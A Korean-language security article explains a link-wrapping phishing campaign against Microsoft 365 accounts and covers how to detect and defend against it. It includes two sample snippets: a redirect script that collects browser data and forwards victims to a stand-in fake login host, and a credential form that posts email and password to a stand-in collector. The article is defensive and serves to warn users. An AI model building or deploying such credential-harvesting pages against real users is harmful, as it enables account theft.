Microsoft 계정 탈취 신종 기법 발견, 링크 래핑 피싱 주의보

Microsoft 계정 탈취 신종 기법, 링크 래핑 공격 주의보

Microsoft 계정 탈취를 노리는 새로운 사이버 공격 기법이 발견되어 전 세계 사용자들에게 경각심을 불러일으키고 있다. 해커들이 링크 래핑(Link Wrapping) 기법을 활용해 Microsoft 365 로그인 정보를 훔치는 정교한 피싱 공격을 감행하고 있다. 이번 공격의 작동 원리와 대응 방법을 자세히 알아보자.

공격 개요

Microsoft 계정 탈취를 위한 링크 래핑 공격은 기존 피싱 공격보다 훨씬 정교하고 탐지하기 어려운 특징을 가지고 있다. 공격자들은 합법적인 URL 단축 서비스나 리디렉션 서비스를 악용하여 악성 링크를 숨기는 방식을 사용한다.

이 공격의 핵심은 사용자가 클릭하는 링크가 겉보기에는 안전해 보이지만, 실제로는 여러 단계의 리디렉션을 거쳐 최종적으로 가짜 Microsoft 로그인 페이지로 연결된다는 점이다. 이러한 방식으로 기존 보안 필터를 우회하고 사용자의 신뢰를 얻는다.

특히 이번 공격은 Microsoft 365 사용자를 주요 타겟으로 하고 있으며, 기업 환경에서 널리 사용되는 Teams, Outlook, SharePoint 등의 서비스 로그인 정보를 노리고 있다.

공격의 특징

링크 래핑 공격의 가장 큰 특징은 다층 리디렉션 구조다. 사용자가 클릭하는 초기 링크는 완전히 합법적인 도메인을 사용하며, 이후 3-4단계의 리디렉션을 거쳐 최종 피싱 사이트에 도달한다.

또한 공격자들은 실제 Microsoft 이메일과 거의 구별할 수 없는 수준의 정교한 피싱 메일을 제작한다. 로고, 폰트, 레이아웃까지 완벽하게 모방하여 사용자가 의심하지 않도록 한다.

💡 링크 래핑 공격의 주요 특징:
• 합법적인 URL 단축 서비스 악용
• 다단계 리디렉션으로 보안 필터 우회
• 정교한 Microsoft 인터페이스 모방
• 기업 사용자를 주요 타겟으로 설정

작동 원리

Microsoft 계정 탈취를 위한 링크 래핑 공격의 작동 원리는 여러 단계로 구성되어 있다. 첫 번째 단계에서 공격자는 Microsoft로부터 온 것처럼 보이는 피싱 이메일을 발송한다.

이메일에는 “계정 보안 확인”, “문서 공유 알림”, “팀 회의 초대” 등의 내용으로 사용자의 클릭을 유도하는 링크가 포함되어 있다. 이 링크는 bit.ly, tinyurl.com 등 널리 알려진 URL 단축 서비스를 통해 생성된다.

단계별 공격 과정

사용자가 링크를 클릭하면 첫 번째 리디렉션이 발생한다. 이때 합법적인 도메인에서 두 번째 중간 서버로 연결되며, 여기서 사용자의 브라우저 정보와 IP 주소가 수집된다.

// 공격자가 사용하는 리디렉션 스크립트 예시

function redirectUser() {

  const userAgent = navigator.userAgent;

  const referrer = document.referrer;

  // 사용자 정보 수집

  collectUserInfo(userAgent, referrer);

  // 최종 피싱 사이트로 리디렉션

  setTimeout(() => {

    window.location.href = "https://fake-microsoft-login.com";

  }, 2000);

}

function collectUserInfo(ua, ref) {

  fetch('/collect', {

    method: 'POST',

    body: JSON.stringify({

      userAgent: ua,

      referrer: ref,

      timestamp: Date.now()

    })

  });

}

두 번째 단계에서는 사용자를 또 다른 중간 서버로 리디렉션하며, 이 과정에서 보안 소프트웨어의 탐지를 피하기 위한 지연 시간을 둔다. 마지막 단계에서 사용자는 가짜 Microsoft 로그인 페이지에 도달하게 된다.

피싱 페이지 구조

최종 피싱 페이지는 실제 Microsoft 로그인 페이지와 거의 구별할 수 없을 정도로 정교하게 제작된다. HTML, CSS, JavaScript까지 실제 Microsoft 사이트에서 복사하여 사용한다.

사용자가 로그인 정보를 입력하면 이 데이터는 즉시 공격자의 서버로 전송되며, 동시에 사용자는 실제 Microsoft 사이트로 리디렉션되어 공격이 발생했다는 사실을 눈치채지 못하게 된다.

피해 현황

Microsoft 계정 탈취 링크 래핑 공격으로 인한 피해는 전 세계적으로 확산되고 있다. 보안 업체들의 보고에 따르면 지난 3개월간 이와 유사한 공격이 300% 이상 증가했다.

특히 기업 환경에서의 피해가 심각하다. 한 번의 성공적인 공격으로 공격자가 기업 내부 시스템에 접근할 수 있게 되면, 추가적인 데이터 유출이나 랜섬웨어 공격으로 이어질 수 있다.

업종별 피해 현황

금융업과 의료업계에서 특히 높은 피해가 보고되고 있다. 이들 업종은 Microsoft 365를 널리 사용하면서도 민감한 개인정보를 다루기 때문에 공격자들의 주요 타겟이 되고 있다.

개인 사용자의 경우에도 이메일 계정 탈취를 통한 2차 피해가 증가하고 있다. 탈취된 계정을 이용해 지인들에게 추가 피싱 메일을 발송하거나, 개인 정보를 악용한 사기 행위가 발생하고 있다.

탐지 방법

Microsoft 계정 탈취 링크 래핑 공격을 탐지하는 방법은 여러 가지가 있다. 가장 기본적인 방법은 이메일의 발신자 주소와 링크 URL을 주의 깊게 확인하는 것이다.

링크에 마우스를 올려놓으면 실제 목적지 URL을 확인할 수 있다. 만약 URL이 bit.ly, tinyurl.com 등의 단축 서비스를 사용하고 있거나, 여러 번의 리디렉션이 예상된다면 의심해봐야 한다.

기술적 탐지 방법

브라우저의 개발자 도구를 활용하면 더 정확한 탐지가 가능하다. 네트워크 탭에서 리디렉션 체인을 확인하고, 최종 도착지가 공식 Microsoft 도메인인지 확인할 수 있다.

<!-- 가짜 Microsoft 로그인 페이지의 특징 -->

<form action="https://fake-collector.com/steal" method="POST">

  <input type="email" name="email" placeholder="이메일 주소">

  <input type="password" name="password" placeholder="비밀번호">

  <button type="submit">로그인</button>

</form>

<!-- 실제 Microsoft 페이지는 login.microsoftonline.com 도메인 사용 -->

또한 SSL 인증서 정보를 확인하는 것도 중요하다. 가짜 사이트는 종종 무료 SSL 인증서를 사용하거나, 인증서의 발급 기관이 Microsoft와 다를 수 있다.

행동 패턴 분석

피싱 이메일의 내용도 중요한 단서가 된다. 긴급성을 강조하거나, 계정 정지 위협, 즉시 행동을 요구하는 내용이 포함된 이메일은 의심해봐야 한다.

또한 평소 받지 않던 유형의 Microsoft 알림이나, 개인화되지 않은 일반적인 인사말로 시작하는 이메일도 주의가 필요하다.

보안 대책

Microsoft 계정 탈취를 방지하기 위한 보안 대책은 개인과 기업 차원에서 모두 필요하다. 가장 효과적인 방법은 다단계 인증(MFA)을 활성화하는 것이다.

다단계 인증이 설정되어 있으면 공격자가 로그인 정보를 탈취하더라도 추가 인증 단계를 통과해야 하므로 계정 침해를 방지할 수 있다. Microsoft Authenticator 앱이나 SMS 인증을 활용할 수 있다.

개인 사용자 보안 조치

개인 사용자는 정기적인 비밀번호 변경과 강력한 비밀번호 사용이 중요하다. 또한 의심스러운 이메일의 링크를 클릭하지 말고, 직접 Microsoft 공식 사이트에 접속하여 로그인하는 습관을 기르는 것이 좋다.

브라우저의 보안 설정을 강화하고, 피싱 방지 기능을 활성화하는 것도 도움이 된다. Chrome, Firefox, Edge 등 주요 브라우저들은 모두 피싱 사이트 차단 기능을 제공한다.

기업 보안 정책

기업에서는 직원 대상 보안 교육을 정기적으로 실시해야 한다. 피싱 공격의 최신 동향과 대응 방법에 대한 교육을 통해 직원들의 보안 의식을 높일 수 있다.

또한 이메일 보안 솔루션을 도입하여 의심스러운 이메일을 사전에 차단하고, 링크 클릭 시 실시간 검증을 수행하는 시스템을 구축하는 것이 효과적이다.

사이버 보안은 기술적 솔루션만으로는 완벽할 수 없다. 사용자의 보안 의식과 올바른 습관이 가장 강력한 방어막이 된다.

예방 조치

Microsoft 계정 탈취 공격을 예방하기 위해서는 종합적인 접근이 필요하다. 기술적 대책과 함께 사용자 교육, 정책 개선 등이 함께 이뤄져야 한다.

우선 이메일 클라이언트의 보안 설정을 강화해야 한다. Outlook에서는 외부 링크에 대한 경고 기능을 활성화하고, 자동 이미지 다운로드를 비활성화하는 것이 좋다.

조직 차원의 대응

기업이나 기관에서는 Zero Trust 보안 모델을 도입하는 것을 고려해야 한다. 모든 접근 시도를 의심하고 검증하는 방식으로, 내부 네트워크에 접근하더라도 지속적인 인증과 권한 확인을 수행한다.

또한 SIEM(Security Information and Event Management) 시스템을 구축하여 비정상적인 로그인 패턴이나 계정 활동을 실시간으로 모니터링하고 대응할 수 있는 체계를 마련해야 한다.

최신 위협 정보 공유

보안 업체들과 정부 기관에서 제공하는 최신 위협 정보를 정기적으로 확인하고, 조직 내에서 공유하는 것이 중요하다. 새로운 공격 기법에 대한 정보를 빠르게 파악하고 대응 방안을 마련할 수 있다.

Microsoft에서도 보안 관련 업데이트와 권고사항을 정기적으로 발표하므로, 이러한 정보를 지속적으로 모니터링하고 적용하는 것이 필요하다.

Microsoft 계정 탈취를 노리는 링크 래핑 공격은 기존 피싱 공격보다 훨씬 정교하고 탐지하기 어려운 새로운 위협이다. 다단계 리디렉션과 합법적인 서비스 악용을 통해 보안 필터를 우회하는 이 공격에 대응하기 위해서는 기술적 대책과 함께 사용자 교육이 필수적이다. 다단계 인증 활성화, 의심스러운 링크 클릭 금지, 정기적인 보안 교육 등을 통해 이러한 공격으로부터 자신과 조직을 보호할 수 있다. 사이버 보안은 지속적인 관심과 노력이 필요한 영역임을 잊지 말아야 한다.